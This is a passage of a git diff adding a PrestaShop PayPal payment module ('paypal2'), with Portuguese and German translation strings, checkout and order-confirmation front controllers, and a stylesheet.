ao carrinho'; +$_MODULE['<{paypal}prestashop>validation_765261b630ee773659fae89e9ad762f5'] = 'A chave Paypal \'txn_id\' não foi especificada, transação desconhecida'; +$_MODULE['<{paypal}prestashop>validation_01634612f84d2b7ba56ccdf467e604b7'] = 'A chave Paypal \'mc_currency\' não foi especificada, moeda desconhecida'; +$_MODULE['<{paypal}prestashop>validation_e61f52d02b9f52fbe1fd41ed320e29c3'] = 'Carrinho não foi encontrado'; +$_MODULE['<{paypal}prestashop>validation_0617900b1aff826081d07f5a3e2e7cd0'] = 'Pedido já foi feito'; +$_MODULE['<{paypal}prestashop>validation_f5209b3301a46f3057ffbf34d903e205'] = 'ID de Transação Paypal: '; +$_MODULE['<{paypal}prestashop>validation_7b19e875ff64b09d80ee05dcc84b9975'] = 'A transação do Paypal não pode ser VERIFICADA.'; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Fazendo nova conexão com'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Falha ao conectar com método CURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Conexão com método CURL com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Enviando este params:'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Envio com método CURL falhou! Erro:'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envio com método CURL com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Conexão com método fsockopen falhou'; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'Conexão com método fsockopen com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Envio com método fsockopen falhou!'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envio com método fsockopen com sucesso!'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'Resposta do Paypal'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_ee9dc1e678d54c517f481583c3fb2db8'] = 'Não é uma moeda válida'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_484f5a79672cebe198ebdde45a1d672f'] = 'Papel de presente'; +$_MODULE['<{paypal}prestashop>submit_1e97d97a923eaddd810e056c828e99ea'] = 'Erro no pagamento'; +$_MODULE['<{paypal}prestashop>submit_7ef8c0c75056a5d1f988e352efcd0f09'] = 'Este produto não está mais em estoque com estes atributos mas está disponível com outros'; +$_MODULE['<{paypal}prestashop>submit_d141a42a5e72c871a3116414bb5c64c1'] = 'Não é possível criar novo carrinho'; +$_MODULE['<{paypal}prestashop>submit_5b5adcef5e3f2e5e1b6f60eb3e7e41ed'] = 'Ocorreu um erro:'; +$_MODULE['<{paypal}prestashop>submit_58f53d0306ffc9cc9820eab866e90efe'] = 'Erro durante a preparação do pagamento express checkout'; +$_MODULE['<{paypal}prestashop>submit_51da74120dd5e11817ef21e27d2599bc'] = 'Não foi possível criar cliente'; +$_MODULE['<{paypal}prestashop>submit_bcf08b34ab427cb871635151c6976eb0'] = 'Não foi possível criar endereço'; +$_MODULE['<{paypal}prestashop>submit_ca5cecfc8fd8e585ba1e684757168158'] = 'Não foi possível atualizar o carrinho existente'; +$_MODULE['<{paypal}prestashop>submit_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento aceito.'; +$_MODULE['<{paypal}prestashop>submit_28060413b9f346d871b633018d03c7b0'] = 'Preço pago no Paypal não é o mesmo que no PrestaShop.'; +$_MODULE['<{paypal}prestashop>submit_98825385aadb1d0dd0fd133ef8acd23d'] = 'Não é possível criar pedido'; +$_MODULE['<{paypal}prestashop>submit_085b78e060c3ef4cc37bd25abd06ff66'] = 'Carrinho mudou desde o último checkout express, por favor faça um novo pagamento no checkout Paypal'; +$_MODULE['<{paypal}prestashop>notifier_28060413b9f346d871b633018d03c7b0'] = 'Preço pago no Paypal não é o msmo que no PrestaShop.'; +$_MODULE['<{paypal}prestashop>notifier_572f9af7615560af2cba038cc1948287'] = 'Carrinho mudou, por favor entre dados novamente.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento aceito.'; +$_MODULE['<{paypal}prestashop>back_office_2d801c24938b12e4ca9a2cf9b980c759'] = 'Erro!'; +$_MODULE['<{paypal}prestashop>capture_81e826adb70e2e6b189c2eef739d52d4'] = 'Captura Paypal'; +$_MODULE['<{paypal}prestashop>capture_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>capture_ce64b2ea82cf4fa861a6512e2c32b84b'] = 'Fundos prontos para serem capturados antes do envio'; +$_MODULE['<{paypal}prestashop>capture_99e64593868df2b7b32231c1ae5ddc04'] = 'Obter o dinheiro'; +$_MODULE['<{paypal}prestashop>refund_8ba079f305b81b172792bc0469b6a690'] = 'Reembolso Paypal'; +$_MODULE['<{paypal}prestashop>refund_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>refund_016e1f278eccd700eaf33f74a501d050'] = 'Pagamento aceito'; +$_MODULE['<{paypal}prestashop>refund_a8b1cc445942a2e1a7d7cca641c86d67'] = 'Quando você reembolsa um produto, um reembolso parcial é feito a menos que você selecione \"Generate a voucher\".'; +$_MODULE['<{paypal}prestashop>refund_c2a5e2e23d8ec9cad779d657b7d33fc1'] = 'Reembolso total da transação'; +$_MODULE['<{paypal}prestashop>refund_729a51874fe901b092899e9e8b31c97a'] = 'Você tem certeza?'; +$_MODULE['<{paypal}prestashop>validation_b630aa9b5e25da971949cae62dd109aa'] = 'Validação Paypal'; +$_MODULE['<{paypal}prestashop>validation_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>validation_9119a92adbbf6c67bfb8a3aee0bdb720'] = 'Captura Pendente - Sem meio de envio'; +$_MODULE['<{paypal}prestashop>validation_c14eb95a724174f336b8ffdd98ef2f35'] = 'Pagamento Pendente - Sem meio de envio'; +$_MODULE['<{paypal}prestashop>validation_5b18ff32c2aaaf4b79bdead10b10fe29'] = 'Obtenha o status do pagamento'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'O que é Paypal?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, uma confiável empresa líder em pagamentos on-line, permite que compradores e empresas enviem e recebam dinheiro online. PayPal tem mais de 100 milhões de contas de membros em 190 países e regiões. Ele é aceito por comerciantes em toda parte, dentro e fora do eBay.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'É seguro para usar?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal ajuda a proteger suas informações de cartão de crédito com líderes de mercado em segurança e sistemas de prevenção de fraude. Quando você usa o PayPal, suas informações financeiras nunca são compartilhadas com o comerciante.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Porque usar Paypal?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Faça compras ou envie dinheiro com o Paypal - é grátis!'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Compre e pague de forma conveniente salvando suas informações com o Paypal'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'O Paypal é aceito por milhões de empresas em todo o mundo e é o método preferido no eBay'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Comece a usar o Paypal hoje!'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com Paypal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Seu pedido no'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'está completo.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Você escolheu o método Paypal.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Seu pedido será enviado em breve.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Para qualquer pergunta ou mais informações, por favor contate nosso '; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'serviço de atendimento ao cliente'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Seu carrinho de compra'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>error_425551a2289ed60c9260933d1c45ef00'] = 'Por favor consulte os registros:'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Voltar'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Confirmação do Pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_d5860edcd3078f86ee963c27654bc6cf'] = 'Total da transação (impostos incluídos) :'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'A ID do seu pedido é:'; +$_MODULE['<{paypal}prestashop>order-confirmation_6e860dc1cf94ca08b3fd99993aa2dc68'] = 'A ID da sua transação Paypal é:'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Acompanhar meu pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Voltar para pedidos'; +$_MODULE['<{paypal}prestashop>order-summary_a40cab5994f36d4c48103a22ca082e8f'] = 'Seu carrinho de compra'; +$_MODULE['<{paypal}prestashop>order-summary_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>order-summary_f1d3b424cd68795ecaa552883759aceb'] = 'Resumo do pedido'; +$_MODULE['<{paypal}prestashop>order-summary_dd23adc5fb6bda9c384397b31e57fc53'] = 'Pagamento Paypal'; +$_MODULE['<{paypal}prestashop>order-summary_62d74398cb6ebaa69ab7339052ca5c92'] = 'Você escolheu pagar com Paypal.'; +$_MODULE['<{paypal}prestashop>order-summary_c884ed19483d45970c5bf23a681e2dd2'] = 'Aqui está um curto resumo do seu pedido:'; +$_MODULE['<{paypal}prestashop>order-summary_e2867a925cba382f1436d1834bb52a1c'] = 'O valor total do seu pedido é'; +$_MODULE['<{paypal}prestashop>order-summary_1f87346a16cf80c372065de3c54c86d9'] = '(imposto incluído)'; +$_MODULE['<{paypal}prestashop>order-summary_8ed356c32b198c9cb2abab7c3d262b93'] = 'Nós aceitamos as seguintes moedas para serem enviadas pelo Paypal:'; +$_MODULE['<{paypal}prestashop>order-summary_0881a11f7af33bc1b43e437391129d66'] = 'Por favor confirme seu pedido clicando \'Eu confirmo meu pedido\''; +$_MODULE['<{paypal}prestashop>order-summary_46b9e3665f187c739c55983f757ccda0'] = 'Eu confirmo meu pedido'; +$_MODULE['<{paypal}prestashop>express_checkout_form_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>paypal_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>iframe_ecab922bc1f9b5726e2a6deb4acaec4e'] = 'Volte para o website do comerciante'; +$_MODULE['<{paypal}prestashop>payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>payment_a3f2caee6ef8e68fbd26e42d83f2bf65'] = 'Pague com sua conta Paypal, cartão de crédito (CB, Visa, Mastercard...), ou cartão de crédito privado'; +$_MODULE['<{paypal}prestashop>payment_b08008a2de4331ba13f006c9bcf37b62'] = 'Pague com sua conta Paypal'; diff --git a/modules/paypal2/controllers/front/confirm.php b/modules/paypal2/controllers/front/confirm.php new file mode 100755 index 0000000..171bfc4 --- /dev/null +++ b/modules/paypal2/controllers/front/confirm.php @@ -0,0 +1,58 @@ + + * @copyright 2007-2013 PrestaShop SA + * @version Release: $Revision: 13573 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + +/** + * @since 1.5.0 + */ + +class PayPalConfirmModuleFrontController extends ModuleFrontController +{ + public $display_column_left = false; + + public function initContent() + { + if (!$this->context->customer->isLogged() || empty($this->context->cart)) + Tools::redirect('index.php'); + + parent::initContent(); + + $this->paypal = new PayPal(); + $this->context = Context::getContext(); + $this->id_module = (int)Tools::getValue('id_module'); + + $currency = new Currency((int)$this->context->cart->id_currency); + + $this->context->smarty->assign(array( + 'form_action' => PayPal::getShopDomainSsl(true, true)._MODULE_DIR_.$this->paypal->name.'/express_checkout/payment.php', + 'total' => Tools::displayPrice($this->context->cart->getOrderTotal(true), $currency), + 'logos' => $this->paypal->paypal_logos->getLogos(), + 'use_mobile' => (bool)$this->paypal->useMobile() + )); + + $this->setTemplate('order-summary.tpl'); + } +} diff --git a/modules/paypal2/controllers/front/expresscheckoutsubmit.php b/modules/paypal2/controllers/front/expresscheckoutsubmit.php new file mode 100755 index 0000000..b04ba09 --- /dev/null +++ b/modules/paypal2/controllers/front/expresscheckoutsubmit.php @@ -0,0 +1,33 @@ + + * @copyright 2007-2013 PrestaShop SA + * @version Release: $Revision: 13573 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + + /** + * @since 1.5.0 + */ + +include_once(dirname(__FILE__).'/payment.php'); +include_once(dirname(__FILE__).'/../../express_checkout/payment.php'); diff --git a/modules/paypal2/controllers/front/integralevolutionsubmit.php b/modules/paypal2/controllers/front/integralevolutionsubmit.php new file mode 100755 index 0000000..8174a8a --- /dev/null +++ b/modules/paypal2/controllers/front/integralevolutionsubmit.php @@ -0,0 +1,33 @@ + + * @copyright 2007-2013 PrestaShop SA + * @version Release: $Revision: 13573 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + + /** + * @since 1.5.0 + */ + +include_once(dirname(__FILE__).'/submit.php'); +include_once(dirname(__FILE__).'/../../integral_evolution/submit.php'); \ No newline at end of file diff --git a/modules/paypal2/controllers/front/submit.php b/modules/paypal2/controllers/front/submit.php new file mode 100755 index 0000000..bae0849 --- /dev/null +++ b/modules/paypal2/controllers/front/submit.php @@ -0,0 +1,143 @@ + + * @copyright 2007-2013 PrestaShop SA + * @version Release: $Revision: 13573 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + +/** + * @since 1.5.0 + */ + +class PayPalSubmitModuleFrontController extends ModuleFrontController +{ + public $display_column_left = false; + + public function initContent() + { + parent::initContent(); + + $this->paypal = new PayPal(); + $this->context = Context::getContext(); + + $this->id_module = (int)Tools::getValue('id_module'); + $this->id_order = (int)Tools::getValue('id_order'); + $order = new Order($this->id_order); + $order_state = new OrderState($order->current_state); + $paypal_order = PayPalOrder::getOrderById($this->id_order); + + if ($order_state->template[$this->context->language->id] == 'payment_error') + { + $this->context->smarty->assign( + array( + 'message' => $order_state->name[$this->context->language->id], + 'logs' => array( + $this->paypal->l('An error occurred while processing payment.') + ), + 'order' => $paypal_order, + 'price' => Tools::displayPrice($paypal_order['total_paid'], $this->context->currency), + ) + ); + + return $this->setTemplate('error.tpl'); + } + + $order_currency = new Currency((int)$order->id_currency); + $display_currency = new Currency((int)$this->context->currency->id); + + $price = Tools::convertPriceFull($paypal_order['total_paid'], $order_currency, $display_currency); + + $this->context->smarty->assign( + array( + 'is_guest' => (($this->context->customer->is_guest) || $this->context->customer->id == false), + 'order' => $paypal_order, + 'price' => Tools::displayPrice($price, $this->context->currency->id), + 'HOOK_ORDER_CONFIRMATION' => $this->displayOrderConfirmation(), + 'HOOK_PAYMENT_RETURN' => $this->displayPaymentReturn() + ) + ); + + if (($this->context->customer->is_guest) || $this->context->customer->id == false) + { + $this->context->smarty->assign( + array( + 'id_order' => (int)$this->id_order, + 'id_order_formatted' => sprintf('#%06d', (int)$this->id_order), + 'order_reference' => $order->reference, + ) + ); + + /* If guest we clear the cookie for security reason */ + $this->context->customer->mylogout(); + } + if ($this->context->getMobileDevice() == true) + $this->setTemplate('order-confirmation-mobile.tpl'); + else + $this->setTemplate('order-confirmation.tpl'); + } + + private function displayHook() + { + if (Validate::isUnsignedId($this->id_order) && Validate::isUnsignedId($this->id_module)) + { + $order = new Order((int)$this->id_order); + $currency = new Currency((int)$order->id_currency); + + if (Validate::isLoadedObject($order)) + { + $params['objOrder'] = $order; + $params['currencyObj'] = $currency; + $params['currency'] = $currency->sign; + $params['total_to_pay'] = $order->getOrdersTotalPaid(); + + return $params; + } + } + + return false; + } + + /** + * Execute the hook displayPaymentReturn + */ + public function displayPaymentReturn() + { + $params = $this->displayHook(); + + if ($params && is_array($params)) + return Hook::exec('displayPaymentReturn', $params, (int)$this->id_module); + return false; + } + + /** + * Execute the hook displayOrderConfirmation + */ + public function displayOrderConfirmation() + { + $params = $this->displayHook(); + + if ($params && is_array($params)) + return Hook::exec('displayOrderConfirmation', $params); + return false; + } +} diff --git a/modules/paypal2/css/paypal.css b/modules/paypal2/css/paypal.css new file mode 100755 index 0000000..b836b1b --- /dev/null +++ b/modules/paypal2/css/paypal.css @@ -0,0 +1,51 @@ +#paypal-column-block p{text-align:center} +.bold{font-weight:700} +.clear{clear:both} +.half{width:44%} +#paypal-wrapper{font-size:1.1em;position:relative} +#paypal-wrapper ul li{text-align:left} +#paypal-wrapper hr{border-top:1px solid #ccc!important;margin-bottom:0;margin-top:20px} +.toolbox{background:#fff2cf;border:1px solid #aaa;color:#000;display:none;font-size:10px;font-weight:400;left:730px;line-height:12px;padding:6px!important;position:absolute;text-transform:none;top:-10px!important;width:180px;z-index:100} +.disabled,.disabled *,.disabled * *,.disabled * * *{color:#888!important} +.disabled .paypal-button,.disabled input[type=submit]{background:#DDD!important;border:1px solid #999!important} +.inline{display:inline;margin-right:5px} +.box{margin:6px 1%;padding:12px;text-align:left} +.box ul{list-style:none;margin:0;padding:0} +.box ul.tick li{background:url(../img/blue_tick.png) no-repeat left 3px;padding:4px 26px} +span.paypal-section{background:url(../img/sprites.png) no-repeat 0 0;color:#FFF!important;float:left;height:24px;line-height:24px;margin-right:8px;text-align:center;width:24px} +.disabled span.paypal-section{background:url(../img/sprites.png) 0 24px} +#paypal-slogan{font-size:1.8em;margin:0 0 5px;text-transform:uppercase} +#paypal-slogan .light{color:#369} +#paypal-slogan .dark{color:#036} +#paypal-call-button{margin:-6px 0 0;padding:0} +#paypal-call,#paypal-call-foonote{background:#e1e1e1 url(../img/bg-call-button.png) repeat-x;border:1px solid #d2d2d2;border-left-color:#ddd;border-radius:5px;border-right-color:#ddd;border-top-color:#e9e9e9;color:#369;display:block;margin:0;padding:10px 20px;width:auto} +#paypal-call-foonote{background:none;border:none;font-size:.8em;max-width:320px;padding:2px 10px;text-align:justify} +#paypal-get-identification{display:block;min-width:378px;text-align:center} +#paypal-wrapper a,#fancybox-wrap a{color:#036;text-decoration:underline} +#paypal-wrapper h1,#paypal-wrapper h2,#paypal-wrapper h3,#paypal-wrapper h4,#paypal-wrapper h5,#paypal-wrapper h6,#fancybox-wrap h1,#fancybox-wrap h2,#fancybox-wrap h3,#fancybox-wrap h4,#fancybox-wrap h5,#fancybox-wrap h6{color:#036;font-family:Arial, Verdana, Helvetica, sans-serif;font-weight:400;text-transform:uppercase} +#fancybox-wrap h3,#paypal-wrapper h3{font-size:1.4em;line-height:24px} +#fancybox-wrap h4,#paypal-wrapper h4{font-size:1.2em;margin-bottom:5px;text-transform:none} +#paypal-wrapper h1.inline + img,#paypal-wrapper h2.inline + img,#paypal-wrapper h3.inline + img,#paypal-wrapper h4.inline + img,#paypal-wrapper h5.inline + img,#paypal-wrapper h6.inline + img{vertical-align:-6px} +#paypal-wrapper p{margin-top:10px;padding-bottom:0} +#paypal-wrapper .form-block{margin-top:5px} +#paypal-wrapper .form-block input{vertical-align:top} +#paypal-wrapper dl dt{clear:both;line-height:20px;margin-bottom:2px;text-align:right;width:220px} +#paypal-wrapper dl dd{margin:0 0 16px 10px} +#paypal-wrapper label{display:inline-block;float:none;font-size:.9em;font-weight:400;margin-bottom:5px;padding-left:6px;padding-top:0;position:relative;text-align:left;width:auto} +#paypal-wrapper dl dt label{margin:0;padding:0} +#paypal-wrapper .description,#paypal-wrapper .paypal-signup-content{color:#666;font-size:.9em;font-weight:400;margin:2px 0} +label span.description{display:block;padding-left:16px} +#paypal-wrapper input[type=submit],#fancybox-wrap button,#paypal-wrapper .paypal-button{background:url(../img/bg-button.png) repeat-x;border:1px solid #f29116;border-radius:4px;color:#292929;cursor:pointer;display:inline-block;font-weight:700;height:25px;line-height:26px;padding:0 10px;text-decoration:none;text-shadow:0 1px 1px #DDD;text-transform:uppercase} +#fancybox-wrap ul{font-size:1.1em;padding-left:10px} +#fancybox-wrap button{line-height:20px} +#paypal-test-mode-confirmation{margin:30px;text-align:left;width:500px} +#fancybox-wrap #buttons{margin-top:20px;text-align:right} +#paypal-test-mode-confirmation button + button{margin-left:20px;margin-right:20px} +#paypal-save-success,#paypal-save-failure{width:450px} +#container_express_checkout{margin:auto;text-align:left} +#payment_paypal_express_checkout{cursor:pointer} +.paypal_error span{color:red;font-weight:bolder} +.paypal_payment_acccepted span{color:green;font-weight:bolder} +#paypal_configuration > .box{margin-left:0;margin-right:0;padding-left:0;padding-right:0} +.left,#paypal-wrapper dl > *{float:left} +.right,.box ul.tick{float:right} diff --git a/modules/paypal2/de.php b/modules/paypal2/de.php new file mode 100755 index 0000000..31b6910 --- /dev/null +++ b/modules/paypal2/de.php @@ -0,0 +1,90 @@ +paypal_abstract_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Zahlungen per Kreditkarte (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) mit PayPal akzeptieren'; +$_MODULE['<{paypal}prestashop>paypal_abstract_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Sind Sie sicher, dass Sie Ihre Details löschen möchten?'; +$_MODULE['<{paypal}prestashop>paypal_abstract_32af90c3cfef1bacf43b0c3a8f60a4da'] = 'Geldbetrag wurde überwiesen'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d238649ac5ec14afc894fad36c0b50fc'] = 'Die Anfrage nach Geldüberweisung war nicht erfolgreich, bitte lesen Sie die Protokollnachricht!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_05b998de2c4fb46a7bdd37bd378b81d9'] = 'Die Bestätigung ist erfolgt, siehe Protokollnachricht!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_aeca7e93a1b3d77e38c3cffa131774d5'] = 'Der Betrag wurde überwiesen'; +$_MODULE['<{paypal}prestashop>paypal_abstract_cba030a50c8a99c7e224adbe1cf58544'] = 'Die Anfrage nach Geldüberweisung war nicht erfolgreich, bitte lesen Sie die Protokollnachricht!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_20fda49ece75d93bea97648ab1f1f1cf'] = 'Produktergebnisse löschen'; +$_MODULE['<{paypal}prestashop>paypal_abstract_e5d5d9f40763cfe6549bef705e3529a7'] = 'Die Zahlungsnachricht ist nicht gültig, prüfen Sie bitte Ihr Modul!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ee9dc1e678d54c517f481583c3fb2db8'] = 'Keine gültige Währung'; +$_MODULE['<{paypal}prestashop>paypal_abstract_eec39bf42bd135971fb2d838c67d1449'] = 'Ergebnis Rückerstattungsoperation'; +$_MODULE['<{paypal}prestashop>paypal_abstract_2ab62d1a578713d0862b56819295630e'] = 'Rückerstattung abgeschlossen mit PayPal!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_a64db959966ba8d07c8b5d9493fcc21f'] = 'Fehler bei der Transaktion!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_67962779da962e3d4225055afc05e7bd'] = 'Ergebnis Einzugsoperation'; +$_MODULE['<{paypal}prestashop>paypal_abstract_8778ee03f6592d5fec9a1f2ee851e476'] = 'Bestellung mit PayPal abgeschlossen!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_672d40feac6437e49f771019bc330790'] = 'Überprüfungsstatus:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_1828820cc60e36b6f9fdf60cab103ed7'] = 'Sie nutzenzur Zeit die Standard-PayPal-Mail-Adresse, Sie müssen Ihre eigene E-Mail-Adresse verwenden'; +$_MODULE['<{paypal}prestashop>validation_20dfea1a472e5be3f15f6b5f36ca335c'] = 'Problem beim Verbinden mit dem PayPal-Server.'; +$_MODULE['<{paypal}prestashop>validation_f7799c2ded739cf3c3e9babffc5f315b'] = 'Verbindung über cURL fehlgeschlagen'; +$_MODULE['<{paypal}prestashop>validation_eca77e208634d52703b07672abbf16ec'] = 'Fehler in der Überprüfung (mit cURL). Zurückgegeben:'; +$_MODULE['<{paypal}prestashop>validation_8358ec19f397d4cdd632688d4f79e535'] = 'Fehler in der Überprüfung (mit fsockopen). Zurückgegeben:'; +$_MODULE['<{paypal}prestashop>validation_76ee8dc73701e846f7bccdf98dae079b'] = 'Keine Kommunikationsmittel zur Verfügung.'; +$_MODULE['<{paypal}prestashop>validation_bd0e34e5be6447844e6f262d51f1a9dc'] = 'Zahlung:'; +$_MODULE['<{paypal}prestashop>validation_e0395c4ce35d0b1e59ca3f2d5e260d23'] = 'Paypal Schlüssel \'custom\' nicht angegeben, kann keine Verbindung zum Warenkorb herstellen'; +$_MODULE['<{paypal}prestashop>validation_765261b630ee773659fae89e9ad762f5'] = 'Paypal-Schlüssel \'txn_id\' nicht angegeben, Transaktion unbekannt'; +$_MODULE['<{paypal}prestashop>validation_01634612f84d2b7ba56ccdf467e604b7'] = 'Paypal-Schlüssel \'mc_currency\' nicht angegeben, Währung unbekannt'; +$_MODULE['<{paypal}prestashop>validation_e61f52d02b9f52fbe1fd41ed320e29c3'] = 'Warenkorb nicht gefunden'; +$_MODULE['<{paypal}prestashop>validation_0617900b1aff826081d07f5a3e2e7cd0'] = 'Bestellauftrag wurde bereits gestellt'; +$_MODULE['<{paypal}prestashop>validation_f5209b3301a46f3057ffbf34d903e205'] = 'PayPal-Transaktion-ID:'; +$_MODULE['<{paypal}prestashop>validation_7b19e875ff64b09d80ee05dcc84b9975'] = 'Die PayPal-Transaktion konnte nicht VERIFIZIERT werden.'; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Neue Verbindung herstellen zu'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Verbindung fehlgeschlagen mit CURL Methode '; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Verbindung erfolgreich mit CURL Methode '; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Senden dieser Parameter:'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Sendung mit CURL Methode fehlgeschlagen! Fehler:'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Sendung mit CURL Methode erfolgreich'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Verbindung fehlgeschlagen mit fsockopen Methode '; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'Verbindung erfolgreich mit fsockopen Methode '; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Sendung mit fsockopen Methode fehlgeschlagen!'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Sendung mit fsockopen Methode erfolgreich'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'PayPal Antwort:'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_ee9dc1e678d54c517f481583c3fb2db8'] = 'Keine gültige Währung'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_484f5a79672cebe198ebdde45a1d672f'] = 'Geschenkverpackung:'; +$_MODULE['<{paypal}prestashop>submit_36ec50c0e914dd2fb48a1b27540512ce'] = 'Zahlung akzeptiert.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Zahlung akzeptiert.'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'Was ist PayPal?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal ist ein bewährter Marktführer bei Online-Shop-Zahlungen, der es Käufern und Unternehmen ermöglicht, Geld online zu senden und zu empfangen. PayPal hat über 100 